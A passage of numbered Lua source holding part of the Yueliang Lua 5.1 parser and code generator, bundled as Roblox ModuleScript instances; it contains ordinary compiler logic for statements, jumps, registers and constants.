  2529. end
  2530.  
  2531. ------------------------------------------------------------------------
  2532. -- parse a function name specification
  2533. -- * used in funcstat()
  2534. ------------------------------------------------------------------------
  2535. function luaY:funcname(ls, v)
  2536. -- funcname -> NAME {field} [':' NAME]
  2537. local needself = false
  2538. self:singlevar(ls, v)
  2539. while ls.t.token == "." do
  2540. self:field(ls, v)
  2541. end
  2542. if ls.t.token == ":" then
  2543. needself = true
  2544. self:field(ls, v)
  2545. end
  2546. return needself
  2547. end
  2548.  
  2549. ------------------------------------------------------------------------
  2550. -- parse a function statement
  2551. -- * used in statements()
  2552. ------------------------------------------------------------------------
  2553. function luaY:funcstat(ls, line)
  2554. -- funcstat -> FUNCTION funcname body
  2555. local v, b = {}, {} -- expdesc
  2556. luaX:next(ls) -- skip FUNCTION
  2557. local needself = self:funcname(ls, v)
  2558. self:body(ls, b, needself, line)
  2559. luaK:storevar(ls.fs, v, b)
  2560. luaK:fixline(ls.fs, line) -- definition 'happens' in the first line
  2561. end
  2562.  
  2563. ------------------------------------------------------------------------
  2564. -- parse a function call with no returns or an assignment statement
  2565. -- * used in statements()
  2566. ------------------------------------------------------------------------
  2567. function luaY:exprstat(ls)
  2568. -- stat -> func | assignment
  2569. local fs = ls.fs
  2570. local v = {} -- LHS_assign
  2571. v.v = {}
  2572. self:primaryexp(ls, v.v)
  2573. if v.v.k == "VCALL" then -- stat -> func
  2574. luaP:SETARG_C(luaK:getcode(fs, v.v), 1) -- call statement uses no results
  2575. else -- stat -> assignment
  2576. v.prev = nil
  2577. self:assignment(ls, v, 1)
  2578. end
  2579. end
  2580.  
  2581. ------------------------------------------------------------------------
  2582. -- parse a return statement
  2583. -- * used in statements()
  2584. ------------------------------------------------------------------------
  2585. function luaY:retstat(ls)
  2586. -- stat -> RETURN explist
  2587. local fs = ls.fs
  2588. local e = {} -- expdesc
  2589. local first, nret -- registers with returned values
  2590. luaX:next(ls) -- skip RETURN
  2591. if self:block_follow(ls.t.token) or ls.t.token == ";" then
  2592. first, nret = 0, 0 -- return no values
  2593. else
  2594. nret = self:explist1(ls, e) -- optional return values
  2595. if self:hasmultret(e.k) then
  2596. luaK:setmultret(fs, e)
  2597. if e.k == "VCALL" and nret == 1 then -- tail call?
  2598. luaP:SET_OPCODE(luaK:getcode(fs, e), "OP_TAILCALL")
  2599. assert(luaP:GETARG_A(luaK:getcode(fs, e)) == fs.nactvar)
  2600. end
  2601. first = fs.nactvar
  2602. nret = self.LUA_MULTRET -- return all values
  2603. else
  2604. if nret == 1 then -- only one single value?
  2605. first = luaK:exp2anyreg(fs, e)
  2606. else
  2607. luaK:exp2nextreg(fs, e) -- values must go to the 'stack'
  2608. first = fs.nactvar -- return all 'active' values
  2609. assert(nret == fs.freereg - first)
  2610. end
  2611. end--if
  2612. end--if
  2613. luaK:ret(fs, first, nret)
  2614. end
  2615.  
  2616. ------------------------------------------------------------------------
  2617. -- initial parsing for statements, calls a lot of functions
  2618. -- * returns boolean instead of 0|1
  2619. -- * used in chunk()
  2620. ------------------------------------------------------------------------
  2621. function luaY:statement(ls)
  2622. local line = ls.linenumber -- may be needed for error messages
  2623. local c = ls.t.token
  2624. if c == "TK_IF" then -- stat -> ifstat
  2625. self:ifstat(ls, line)
  2626. return false
  2627. elseif c == "TK_WHILE" then -- stat -> whilestat
  2628. self:whilestat(ls, line)
  2629. return false
  2630. elseif c == "TK_DO" then -- stat -> DO block END
  2631. luaX:next(ls) -- skip DO
  2632. self:block(ls)
  2633. self:check_match(ls, "TK_END", "TK_DO", line)
  2634. return false
  2635. elseif c == "TK_FOR" then -- stat -> forstat
  2636. self:forstat(ls, line)
  2637. return false
  2638. elseif c == "TK_REPEAT" then -- stat -> repeatstat
  2639. self:repeatstat(ls, line)
  2640. return false
  2641. elseif c == "TK_FUNCTION" then -- stat -> funcstat
  2642. self:funcstat(ls, line)
  2643. return false
  2644. elseif c == "TK_LOCAL" then -- stat -> localstat
  2645. luaX:next(ls) -- skip LOCAL
  2646. if self:testnext(ls, "TK_FUNCTION") then -- local function?
  2647. self:localfunc(ls)
  2648. else
  2649. self:localstat(ls)
  2650. end
  2651. return false
  2652. elseif c == "TK_RETURN" then -- stat -> retstat
  2653. self:retstat(ls)
  2654. return true -- must be last statement
  2655. elseif c == "TK_BREAK" then -- stat -> breakstat
  2656. luaX:next(ls) -- skip BREAK
  2657. self:breakstat(ls)
  2658. return true -- must be last statement
  2659. else
  2660. self:exprstat(ls)
  2661. return false -- to avoid warnings
  2662. end--if c
  2663. end
  2664.  
  2665. ------------------------------------------------------------------------
  2666. -- parse a chunk, which consists of a bunch of statements
  2667. -- * used in parser(), body(), block(), repeatstat()
  2668. ------------------------------------------------------------------------
  2669. function luaY:chunk(ls)
  2670. -- chunk -> { stat [';'] }
  2671. local islast = false
  2672. self:enterlevel(ls)
  2673. while not islast and not self:block_follow(ls.t.token) do
  2674. islast = self:statement(ls)
  2675. self:testnext(ls, ";")
  2676. assert(ls.fs.f.maxstacksize >= ls.fs.freereg and
  2677. ls.fs.freereg >= ls.fs.nactvar)
  2678. ls.fs.freereg = ls.fs.nactvar -- free registers
  2679. end
  2680. self:leavelevel(ls)
  2681. end
  2682.  
  2683. -- }======================================================================
  2684. return luaY
  2685. end
  2686. fake_module_scripts[script] = module_script
  2687. end
  2688. do -- nil.LuaK
  2689. local script = Instance.new('ModuleScript', nil)
  2690. script.Name = "LuaK"
  2691. local function module_script()
  2692. --[[--------------------------------------------------------------------
  2693.  
  2694. lcode.lua
  2695. Lua 5 code generator in Lua
  2696. This file is part of Yueliang.
  2697.  
  2698. Copyright (c) 2005-2007 Kein-Hong Man <[email protected]>
  2699. The COPYRIGHT file describes the conditions
  2700. under which this software may be distributed.
  2701.  
  2702. See the ChangeLog for more information.
  2703.  
  2704. ----------------------------------------------------------------------]]
  2705.  
  2706. --[[--------------------------------------------------------------------
  2707. -- Notes:
  2708. -- * one function manipulate a pointer argument with a simple data type
  2709. -- (can't be emulated by a table, ambiguous), now returns that value:
  2710. -- luaK:concat(fs, l1, l2)
  2711. -- * luaM_growvector uses the faux luaY:growvector, for limit checking
  2712. -- * some function parameters changed to boolean, additional code
  2713. -- translates boolean back to 1/0 for instruction fields
  2714. --
  2715. -- Not implemented:
  2716. -- * NOTE there is a failed assert in luaK:addk, a porting problem
  2717. --
  2718. -- Added:
  2719. -- * constant MAXSTACK from llimits.h
  2720. -- * luaK:ttisnumber(o) (from lobject.h)
  2721. -- * luaK:nvalue(o) (from lobject.h)
  2722. -- * luaK:setnilvalue(o) (from lobject.h)
  2723. -- * luaK:setnvalue(o, x) (from lobject.h)
  2724. -- * luaK:setbvalue(o, x) (from lobject.h)
  2725. -- * luaK:sethvalue(o, x) (from lobject.h), parameter L deleted
  2726. -- * luaK:setsvalue(o, x) (from lobject.h), parameter L deleted
  2727. -- * luaK:numadd, luaK:numsub, luaK:nummul, luaK:numdiv, luaK:nummod,
  2728. -- luaK:numpow, luaK:numunm, luaK:numisnan (from luaconf.h)
  2729. -- * copyexp(e1, e2) added in luaK:posfix to copy expdesc struct
  2730. --
  2731. -- Changed in 5.1.x:
  2732. -- * enum BinOpr has a new entry, OPR_MOD
  2733. -- * enum UnOpr has a new entry, OPR_LEN
  2734. -- * binopistest, unused in 5.0.x, has been deleted
  2735. -- * macro setmultret is new
  2736. -- * functions isnumeral, luaK_ret, boolK are new
  2737. -- * funcion nilK was named nil_constant in 5.0.x
  2738. -- * function interface changed: need_value, patchtestreg, concat
  2739. -- * TObject now a TValue
  2740. -- * functions luaK_setreturns, luaK_setoneret are new
  2741. -- * function luaK:setcallreturns deleted, to be replaced by:
  2742. -- luaK:setmultret, luaK:ret, luaK:setreturns, luaK:setoneret
  2743. -- * functions constfolding, codearith, codecomp are new
  2744. -- * luaK:codebinop has been deleted
  2745. -- * function luaK_setlist is new
  2746. -- * OPR_MULT renamed to OPR_MUL
  2747. ----------------------------------------------------------------------]]
  2748.  
  2749. -- requires luaP, luaX, luaY
  2750. local luaK = {}
  2751. local luaP = require(script.Parent.LuaP)
  2752. local luaX = require(script.Parent.LuaX)
  2753.  
  2754. ------------------------------------------------------------------------
  2755. -- constants used by code generator
  2756. ------------------------------------------------------------------------
  2757. -- maximum stack for a Lua function
  2758. luaK.MAXSTACK = 250 -- (from llimits.h)
  2759.  
  2760. --[[--------------------------------------------------------------------
  2761. -- other functions
  2762. ----------------------------------------------------------------------]]
  2763.  
  2764. ------------------------------------------------------------------------
  2765. -- emulation of TValue macros (these are from lobject.h)
  2766. -- * TValue is a table since lcode passes references around
  2767. -- * tt member field removed, using Lua's type() instead
  2768. -- * for setsvalue, sethvalue, parameter L (deleted here) in lobject.h
  2769. -- is used in an assert for testing, see checkliveness(g,obj)
  2770. ------------------------------------------------------------------------
  2771. function luaK:ttisnumber(o)
  2772. if o then return type(o.value) == "number" else return false end
  2773. end
  2774. function luaK:nvalue(o) return o.value end
  2775. function luaK:setnilvalue(o) o.value = nil end
  2776. function luaK:setsvalue(o, x) o.value = x end
  2777. luaK.setnvalue = luaK.setsvalue
  2778. luaK.sethvalue = luaK.setsvalue
  2779. luaK.setbvalue = luaK.setsvalue
  2780.  
  2781. ------------------------------------------------------------------------
  2782. -- The luai_num* macros define the primitive operations over numbers.
  2783. -- * this is not the entire set of primitive operations from luaconf.h
  2784. -- * used in luaK:constfolding()
  2785. ------------------------------------------------------------------------
  2786. function luaK:numadd(a, b) return a + b end
  2787. function luaK:numsub(a, b) return a - b end
  2788. function luaK:nummul(a, b) return a * b end
  2789. function luaK:numdiv(a, b) return a / b end
  2790. function luaK:nummod(a, b) return a % b end
  2791. -- ((a) - floor((a)/(b))*(b)) /* actual, for reference */
  2792. function luaK:numpow(a, b) return a ^ b end
  2793. function luaK:numunm(a) return -a end
  2794. function luaK:numisnan(a) return not a == a end
  2795. -- a NaN cannot equal another NaN
  2796.  
  2797. --[[--------------------------------------------------------------------
  2798. -- code generator functions
  2799. ----------------------------------------------------------------------]]
  2800.  
  2801. ------------------------------------------------------------------------
  2802. -- Marks the end of a patch list. It is an invalid value both as an absolute
  2803. -- address, and as a list link (would link an element to itself).
  2804. ------------------------------------------------------------------------
  2805. luaK.NO_JUMP = -1
  2806.  
  2807. ------------------------------------------------------------------------
  2808. -- grep "ORDER OPR" if you change these enums
  2809. ------------------------------------------------------------------------
  2810. luaK.BinOpr = {
  2811. OPR_ADD = 0, OPR_SUB = 1, OPR_MUL = 2, OPR_DIV = 3, OPR_MOD = 4, OPR_POW = 5,
  2812. OPR_CONCAT = 6,
  2813. OPR_NE = 7, OPR_EQ = 8,
  2814. OPR_LT = 9, OPR_LE = 10, OPR_GT = 11, OPR_GE = 12,
  2815. OPR_AND = 13, OPR_OR = 14,
  2816. OPR_NOBINOPR = 15,
  2817. }
  2818.  
  2819. -- * UnOpr is used by luaK:prefix's op argument, but not directly used
  2820. -- because the function receives the symbols as strings, e.g. "OPR_NOT"
  2821. luaK.UnOpr = {
  2822. OPR_MINUS = 0, OPR_NOT = 1, OPR_LEN = 2, OPR_NOUNOPR = 3
  2823. }
  2824.  
  2825. ------------------------------------------------------------------------
  2826. -- returns the instruction object for given e (expdesc), was a macro
  2827. ------------------------------------------------------------------------
  2828. function luaK:getcode(fs, e)
  2829. return fs.f.code[e.info]
  2830. end
  2831.  
  2832. ------------------------------------------------------------------------
  2833. -- codes an instruction with a signed Bx (sBx) field, was a macro
  2834. -- * used in luaK:jump(), (lparser) luaY:forbody()
  2835. ------------------------------------------------------------------------
  2836. function luaK:codeAsBx(fs, o, A, sBx)
  2837. return self:codeABx(fs, o, A, sBx + luaP.MAXARG_sBx)
  2838. end
  2839.  
  2840. ------------------------------------------------------------------------
  2841. -- set the expdesc e instruction for multiple returns, was a macro
  2842. ------------------------------------------------------------------------
  2843. function luaK:setmultret(fs, e)
  2844. self:setreturns(fs, e, luaY.LUA_MULTRET)
  2845. end
  2846.  
  2847. ------------------------------------------------------------------------
  2848. -- there is a jump if patch lists are not identical, was a macro
  2849. -- * used in luaK:exp2reg(), luaK:exp2anyreg(), luaK:exp2val()
  2850. ------------------------------------------------------------------------
  2851. function luaK:hasjumps(e)
  2852. return e.t ~= e.f
  2853. end
  2854.  
  2855. ------------------------------------------------------------------------
  2856. -- true if the expression is a constant number (for constant folding)
  2857. -- * used in constfolding(), infix()
  2858. ------------------------------------------------------------------------
  2859. function luaK:isnumeral(e)
  2860. return e.k == "VKNUM" and e.t == self.NO_JUMP and e.f == self.NO_JUMP
  2861. end
  2862.  
  2863. ------------------------------------------------------------------------
  2864. -- codes loading of nil, optimization done if consecutive locations
  2865. -- * used in luaK:discharge2reg(), (lparser) luaY:adjust_assign()
  2866. ------------------------------------------------------------------------
  2867. function luaK:_nil(fs, from, n)
  2868. if fs.pc > fs.lasttarget then -- no jumps to current position?
  2869. if fs.pc == 0 then -- function start?
  2870. if from >= fs.nactvar then
  2871. return -- positions are already clean
  2872. end
  2873. else
  2874. local previous = fs.f.code[fs.pc - 1]
  2875. if luaP:GET_OPCODE(previous) == "OP_LOADNIL" then
  2876. local pfrom = luaP:GETARG_A(previous)
  2877. local pto = luaP:GETARG_B(previous)
  2878. if pfrom <= from and from <= pto + 1 then -- can connect both?
  2879. if from + n - 1 > pto then
  2880. luaP:SETARG_B(previous, from + n - 1)
  2881. end
  2882. return
  2883. end
  2884. end
  2885. end
  2886. end
  2887. self:codeABC(fs, "OP_LOADNIL", from, from + n - 1, 0) -- else no optimization
  2888. end
  2889.  
  2890. ------------------------------------------------------------------------
  2891. --
  2892. -- * used in multiple locations
  2893. ------------------------------------------------------------------------
  2894. function luaK:jump(fs)
  2895. local jpc = fs.jpc -- save list of jumps to here
  2896. fs.jpc = self.NO_JUMP
  2897. local j = self:codeAsBx(fs, "OP_JMP", 0, self.NO_JUMP)
  2898. j = self:concat(fs, j, jpc) -- keep them on hold
  2899. return j
  2900. end
  2901.  
  2902. ------------------------------------------------------------------------
  2903. -- codes a RETURN instruction
  2904. -- * used in luaY:close_func(), luaY:retstat()
  2905. ------------------------------------------------------------------------
  2906. function luaK:ret(fs, first, nret)
  2907. self:codeABC(fs, "OP_RETURN", first, nret + 1, 0)
  2908. end
  2909.  
  2910. ------------------------------------------------------------------------
  2911. --
  2912. -- * used in luaK:jumponcond(), luaK:codecomp()
  2913. ------------------------------------------------------------------------
  2914. function luaK:condjump(fs, op, A, B, C)
  2915. self:codeABC(fs, op, A, B, C)
  2916. return self:jump(fs)
  2917. end
  2918.  
  2919. ------------------------------------------------------------------------
  2920. --
  2921. -- * used in luaK:patchlistaux(), luaK:concat()
  2922. ------------------------------------------------------------------------
  2923. function luaK:fixjump(fs, pc, dest)
  2924. local jmp = fs.f.code[pc]
  2925. local offset = dest - (pc + 1)
  2926. assert(dest ~= self.NO_JUMP)
  2927. if math.abs(offset) > luaP.MAXARG_sBx then
  2928. luaX:syntaxerror(fs.ls, "control structure too long")
  2929. end
  2930. luaP:SETARG_sBx(jmp, offset)
  2931. end
  2932.  
  2933. ------------------------------------------------------------------------
  2934. -- returns current 'pc' and marks it as a jump target (to avoid wrong
  2935. -- optimizations with consecutive instructions not in the same basic block).
  2936. -- * used in multiple locations
  2937. -- * fs.lasttarget tested only by luaK:_nil() when optimizing OP_LOADNIL
  2938. ------------------------------------------------------------------------
  2939. function luaK:getlabel(fs)
  2940. fs.lasttarget = fs.pc
  2941. return fs.pc
  2942. end
  2943.  
  2944. ------------------------------------------------------------------------
  2945. --
  2946. -- * used in luaK:need_value(), luaK:removevalues(), luaK:patchlistaux(),
  2947. -- luaK:concat()
  2948. ------------------------------------------------------------------------
  2949. function luaK:getjump(fs, pc)
  2950. local offset = luaP:GETARG_sBx(fs.f.code[pc])
  2951. if offset == self.NO_JUMP then -- point to itself represents end of list
  2952. return self.NO_JUMP -- end of list
  2953. else
  2954. return (pc + 1) + offset -- turn offset into absolute position
  2955. end
  2956. end
  2957.  
  2958. ------------------------------------------------------------------------
  2959. --
  2960. -- * used in luaK:need_value(), luaK:patchtestreg(), luaK:invertjump()
  2961. ------------------------------------------------------------------------
  2962. function luaK:getjumpcontrol(fs, pc)
  2963. local pi = fs.f.code[pc]
  2964. local ppi = fs.f.code[pc - 1]
  2965. if pc >= 1 and luaP:testTMode(luaP:GET_OPCODE(ppi)) ~= 0 then
  2966. return ppi
  2967. else
  2968. return pi
  2969. end
  2970. end
  2971.  
  2972. ------------------------------------------------------------------------
  2973. -- check whether list has any jump that do not produce a value
  2974. -- (or produce an inverted value)
  2975. -- * return value changed to boolean
  2976. -- * used only in luaK:exp2reg()
  2977. ------------------------------------------------------------------------
  2978. function luaK:need_value(fs, list)
  2979. while list ~= self.NO_JUMP do
  2980. local i = self:getjumpcontrol(fs, list)
  2981. if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then return true end
  2982. list = self:getjump(fs, list)
  2983. end
  2984. return false -- not found
  2985. end
  2986.  
  2987. ------------------------------------------------------------------------
  2988. --
  2989. -- * used in luaK:removevalues(), luaK:patchlistaux()
  2990. ------------------------------------------------------------------------
  2991. function luaK:patchtestreg(fs, node, reg)
  2992. local i = self:getjumpcontrol(fs, node)
  2993. if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then
  2994. return false -- cannot patch other instructions
  2995. end
  2996. if reg ~= luaP.NO_REG and reg ~= luaP:GETARG_B(i) then
  2997. luaP:SETARG_A(i, reg)
  2998. else -- no register to put value or register already has the value
  2999. -- due to use of a table as i, i cannot be replaced by another table
  3000. -- so the following is required; there is no change to ARG_C
  3001. luaP:SET_OPCODE(i, "OP_TEST")
  3002. local b = luaP:GETARG_B(i)
  3003. luaP:SETARG_A(i, b)
  3004. luaP:SETARG_B(i, 0)
  3005. -- *i = CREATE_ABC(OP_TEST, GETARG_B(*i), 0, GETARG_C(*i)); /* C */
  3006. end
  3007. return true
  3008. end
  3009.  
  3010. ------------------------------------------------------------------------
  3011. --
  3012. -- * used only in luaK:codenot()
  3013. ------------------------------------------------------------------------
  3014. function luaK:removevalues(fs, list)
  3015. while list ~= self.NO_JUMP do
  3016. self:patchtestreg(fs, list, luaP.NO_REG)
  3017. list = self:getjump(fs, list)
  3018. end
  3019. end
  3020.  
  3021. ------------------------------------------------------------------------
  3022. --
  3023. -- * used in luaK:dischargejpc(), luaK:patchlist(), luaK:exp2reg()
  3024. ------------------------------------------------------------------------
  3025. function luaK:patchlistaux(fs, list, vtarget, reg, dtarget)
  3026. while list ~= self.NO_JUMP do
  3027. local _next = self:getjump(fs, list)
  3028. if self:patchtestreg(fs, list, reg) then
  3029. self:fixjump(fs, list, vtarget)
  3030. else
  3031. self:fixjump(fs, list, dtarget) -- jump to default target
  3032. end
  3033. list = _next
  3034. end
  3035. end
  3036.  
  3037. ------------------------------------------------------------------------
  3038. --
  3039. -- * used only in luaK:code()
  3040. ------------------------------------------------------------------------
  3041. function luaK:dischargejpc(fs)
  3042. self:patchlistaux(fs, fs.jpc, fs.pc, luaP.NO_REG, fs.pc)
  3043. fs.jpc = self.NO_JUMP
  3044. end
  3045.  
  3046. ------------------------------------------------------------------------
  3047. --
  3048. -- * used in (lparser) luaY:whilestat(), luaY:repeatstat(), luaY:forbody()
  3049. ------------------------------------------------------------------------
  3050. function luaK:patchlist(fs, list, target)
  3051. if target == fs.pc then
  3052. self:patchtohere(fs, list)
  3053. else
  3054. assert(target < fs.pc)
  3055. self:patchlistaux(fs, list, target, luaP.NO_REG, target)
  3056. end
  3057. end
  3058.  
  3059. ------------------------------------------------------------------------
  3060. --
  3061. -- * used in multiple locations
  3062. ------------------------------------------------------------------------
  3063. function luaK:patchtohere(fs, list)
  3064. self:getlabel(fs)
  3065. fs.jpc = self:concat(fs, fs.jpc, list)
  3066. end
  3067.  
  3068. ------------------------------------------------------------------------
  3069. -- * l1 was a pointer, now l1 is returned and callee assigns the value
  3070. -- * used in multiple locations
  3071. ------------------------------------------------------------------------
  3072. function luaK:concat(fs, l1, l2)
  3073. if l2 == self.NO_JUMP then return l1
  3074. elseif l1 == self.NO_JUMP then
  3075. return l2
  3076. else
  3077. local list = l1
  3078. local _next = self:getjump(fs, list)
  3079. while _next ~= self.NO_JUMP do -- find last element
  3080. list = _next
  3081. _next = self:getjump(fs, list)
  3082. end
  3083. self:fixjump(fs, list, l2)
  3084. end
  3085. return l1
  3086. end
  3087.  
  3088. ------------------------------------------------------------------------
  3089. --
  3090. -- * used in luaK:reserveregs(), (lparser) luaY:forlist()
  3091. ------------------------------------------------------------------------
  3092. function luaK:checkstack(fs, n)
  3093. local newstack = fs.freereg + n
  3094. if newstack > fs.f.maxstacksize then
  3095. if newstack >= self.MAXSTACK then
  3096. luaX:syntaxerror(fs.ls, "function or expression too complex")
  3097. end
  3098. fs.f.maxstacksize = newstack
  3099. end
  3100. end
  3101.  
  3102. ------------------------------------------------------------------------
  3103. --
  3104. -- * used in multiple locations
  3105. ------------------------------------------------------------------------
  3106. function luaK:reserveregs(fs, n)
  3107. self:checkstack(fs, n)
  3108. fs.freereg = fs.freereg + n
  3109. end
  3110.  
  3111. ------------------------------------------------------------------------
  3112. --
  3113. -- * used in luaK:freeexp(), luaK:dischargevars()
  3114. ------------------------------------------------------------------------
  3115. function luaK:freereg(fs, reg)
  3116. if not luaP:ISK(reg) and reg >= fs.nactvar then
  3117. fs.freereg = fs.freereg - 1
  3118. assert(reg == fs.freereg)
  3119. end
  3120. end
  3121.  
  3122. ------------------------------------------------------------------------
  3123. --
  3124. -- * used in multiple locations
  3125. ------------------------------------------------------------------------
  3126. function luaK:freeexp(fs, e)
  3127. if e.k == "VNONRELOC" then
  3128. self:freereg(fs, e.info)
  3129. end
  3130. end
  3131.  
  3132. ------------------------------------------------------------------------
  3133. -- * TODO NOTE implementation is not 100% correct, since the assert fails
  3134. -- * luaH_set, setobj deleted; direct table access used instead
  3135. -- * used in luaK:stringK(), luaK:numberK(), luaK:boolK(), luaK:nilK()
  3136. ------------------------------------------------------------------------
  3137. function luaK:addk(fs, k, v)
  3138. local L = fs.L
  3139. local idx = fs.h[k.value]
  3140. --TValue *idx = luaH_set(L, fs->h, k); /* C */
  3141. local f = fs.f
  3142. if self:ttisnumber(idx) then
  3143. --TODO this assert currently FAILS (last tested for 5.0.2)
  3144. --assert(fs.f.k[self:nvalue(idx)] == v)
  3145. --assert(luaO_rawequalObj(&fs->f->k[cast_int(nvalue(idx))], v)); /* C */
  3146. return self:nvalue(idx)
  3147. else -- constant not found; create a new entry
  3148. idx = {}
  3149. self:setnvalue(idx, fs.nk)
  3150. fs.h[k.value] = idx
  3151. -- setnvalue(idx, cast_num(fs->nk)); /* C */
  3152. luaY:growvector(L, f.k, fs.nk, f.sizek, nil,
  3153. luaP.MAXARG_Bx, "constant table overflow")
  3154. -- loop to initialize empty f.k positions not required
  3155. f.k[fs.nk] = v
  3156. -- setobj(L, &f->k[fs->nk], v); /* C */
  3157. -- luaC_barrier(L, f, v); /* GC */
  3158. local nk = fs.nk
  3159. fs.nk = fs.nk + 1
  3160. return nk
  3161. end
  3162.  
  3163. end
  3164.  
  3165. ------------------------------------------------------------------------
  3166. -- creates and sets a string object
  3167. -- * used in (lparser) luaY:codestring(), luaY:singlevar()
  3168. ------------------------------------------------------------------------
  3169. function luaK:stringK(fs, s)
  3170. local o = {} -- TValue
  3171. self:setsvalue(o, s)
  3172. return self:addk(fs, o, o)
  3173. end
  3174.  
  3175. ------------------------------------------------------------------------
  3176. -- creates and sets a number object
  3177. -- * used in luaK:prefix() for negative (or negation of) numbers
  3178. -- * used in (lparser) luaY:simpleexp(), luaY:fornum()
  3179. ------------------------------------------------------------------------
  3180. function luaK:numberK(fs, r)
  3181. local o = {} -- TValue
  3182. self:setnvalue(o, r)
  3183. return self:addk(fs, o, o)
  3184. end
  3185.  
  3186. ------------------------------------------------------------------------
  3187. -- creates and sets a boolean object
  3188. -- * used only in luaK:exp2RK()
  3189. ------------------------------------------------------------------------
  3190. function luaK:boolK(fs, b)
  3191. local o = {} -- TValue
  3192. self:setbvalue(o, b)
  3193. return self:addk(fs, o, o)
  3194. end
  3195.  
  3196. ------------------------------------------------------------------------
  3197. -- creates and sets a nil object
  3198. -- * used only in luaK:exp2RK()
  3199. ------------------------------------------------------------------------
  3200. function luaK:nilK(fs)
  3201. local k, v = {}, {} -- TValue
  3202. self:setnilvalue(v)
  3203. -- cannot use nil as key; instead use table itself to represent nil
  3204. self:sethvalue(k, fs.h)
  3205. return self:addk(fs, k, v)
  3206. end
  3207.  
  3208. ------------------------------------------------------------------------
  3209. --
  3210. -- * used in luaK:setmultret(), (lparser) luaY:adjust_assign()
  3211. ------------------------------------------------------------------------
  3212. function luaK:setreturns(fs, e, nresults)
  3213. if e.k == "VCALL" then -- expression is an open function call?
  3214. luaP:SETARG_C(self:getcode(fs, e), nresults + 1)
  3215. elseif e.k == "VVARARG" then
  3216. luaP:SETARG_B(self:getcode(fs, e), nresults + 1);
  3217. luaP:SETARG_A(self:getcode(fs, e), fs.freereg);
  3218. luaK:reserveregs(fs, 1)
  3219. end
  3220. end
  3221.  
  3222. ------------------------------------------------------------------------
  3223. --
  3224. -- * used in luaK:dischargevars(), (lparser) luaY:assignment()
  3225. ------------------------------------------------------------------------
  3226. function luaK:setoneret(fs, e)
  3227. if e.k == "VCALL" then -- expression is an open function call?
  3228. e.k = "VNONRELOC"
  3229. e.info = luaP:GETARG_A(self:getcode(fs, e))
  3230. elseif e.k == "VVARARG" then
  3231. luaP:SETARG_B(self:getcode(fs, e), 2)
  3232. e.k = "VRELOCABLE" -- can relocate its simple result
  3233. end
  3234. end
  3235.  
  3236. ------------------------------------------------------------------------
  3237. --
  3238. -- * used in multiple locations
  3239. ------------------------------------------------------------------------
  3240. function luaK:dischargevars(fs, e)
  3241. local k = e.k
  3242. if k == "VLOCAL" then
  3243. e.k = "VNONRELOC"
  3244. elseif k == "VUPVAL" then
  3245. e.info = self:codeABC(fs, "OP_GETUPVAL", 0, e.info, 0)
  3246. e.k = "VRELOCABLE"
  3247. elseif k == "VGLOBAL" then
  3248. e.info = self:codeABx(fs, "OP_GETGLOBAL", 0, e.info)
  3249. e.k = "VRELOCABLE"
  3250. elseif k == "VINDEXED" then
  3251. self:freereg(fs, e.aux)
  3252. self:freereg(fs, e.info)
  3253. e.info = self:codeABC(fs, "OP_GETTABLE", 0, e.info, e.aux)
  3254. e.k = "VRELOCABLE"
  3255. elseif k == "VVARARG" or k == "VCALL" then
  3256. self:setoneret(fs, e)
  3257. else
  3258. -- there is one value available (somewhere)
  3259. end
  3260. end
  3261.  
  3262. ------------------------------------------------------------------------
  3263. --
  3264. -- * used only in luaK:exp2reg()
  3265. ------------------------------------------------------------------------
  3266. function luaK:code_label(fs, A, b, jump)
  3267. self:getlabel(fs) -- those instructions may be jump targets
  3268. return self:codeABC(fs, "OP_LOADBOOL", A, b, jump)
  3269. end
  3270.  
  3271. ------------------------------------------------------------------------
  3272. --
  3273. -- * used in luaK:discharge2anyreg(), luaK:exp2reg()
  3274. ------------------------------------------------------------------------
  3275. function luaK:discharge2reg(fs, e, reg)
  3276. self:dischargevars(fs, e)
  3277. local k = e.k
  3278. if k == "VNIL" then
  3279. self:_nil(fs, reg, 1)
  3280. elseif k == "VFALSE" or k == "VTRUE" then
  3281. self:codeABC(fs, "OP_LOADBOOL", reg, (e.k == "VTRUE") and 1 or 0, 0)
  3282. elseif k == "VK" then
  3283. self:codeABx(fs, "OP_LOADK", reg, e.info)
  3284. elseif k == "VKNUM" then
  3285. self:codeABx(fs, "OP_LOADK", reg, self:numberK(fs, e.nval))
  3286. elseif k == "VRELOCABLE" then
  3287. local pc = self:getcode(fs, e)
  3288. luaP:SETARG_A(pc, reg)
  3289. elseif k == "VNONRELOC" then
  3290. if reg ~= e.info then
  3291. self:codeABC(fs, "OP_MOVE", reg, e.info, 0)
  3292. end
  3293. else
  3294. assert(e.k == "VVOID" or e.k == "VJMP")
  3295. return -- nothing to do...
  3296. end
  3297. e.info = reg
  3298. e.k = "VNONRELOC"
  3299. end
  3300.  
  3301. ------------------------------------------------------------------------
  3302. --
  3303. -- * used in luaK:jumponcond(), luaK:codenot()
  3304. ------------------------------------------------------------------------
  3305. function luaK:discharge2anyreg(fs, e)
  3306. if e.k ~= "VNONRELOC" then
  3307. self:reserveregs(fs, 1)
  3308. self:discharge2reg(fs, e, fs.freereg - 1)
  3309. end
  3310. end
  3311.  
  3312. ------------------------------------------------------------------------
  3313. --
  3314. -- * used in luaK:exp2nextreg(), luaK:exp2anyreg(), luaK:storevar()
  3315. ------------------------------------------------------------------------
  3316. function luaK:exp2reg(fs, e, reg)
  3317. self:discharge2reg(fs, e, reg)
  3318. if e.k == "VJMP" then
  3319. e.t = self:concat(fs, e.t, e.info) -- put this jump in 't' list
  3320. end
  3321. if self:hasjumps(e) then
  3322. local final -- position after whole expression
  3323. local p_f = self.NO_JUMP -- position of an eventual LOAD false
  3324. local p_t = self.NO_JUMP -- position of an eventual LOAD true
  3325. if self:need_value(fs, e.t) or self:need_value(fs, e.f) then
  3326. local fj = (e.k == "VJMP") and self.NO_JUMP or self:jump(fs)
  3327. p_f = self:code_label(fs, reg, 0, 1)
  3328. p_t = self:code_label(fs, reg, 1, 0)
  3329. self:patchtohere(fs, fj)
  3330. end
  3331. final = self:getlabel(fs)
  3332. self:patchlistaux(fs, e.f, final, reg, p_f)
  3333. self:patchlistaux(fs, e.t, final, reg, p_t)
  3334. end
  3335. e.f, e.t = self.NO_JUMP, self.NO_JUMP
  3336. e.info = reg
  3337. e.k = "VNONRELOC"
  3338. end
  3339.  
  3340. ------------------------------------------------------------------------
  3341. --
  3342. -- * used in multiple locations
  3343. ------------------------------------------------------------------------
  3344. function luaK:exp2nextreg(fs, e)
  3345. self:dischargevars(fs, e)
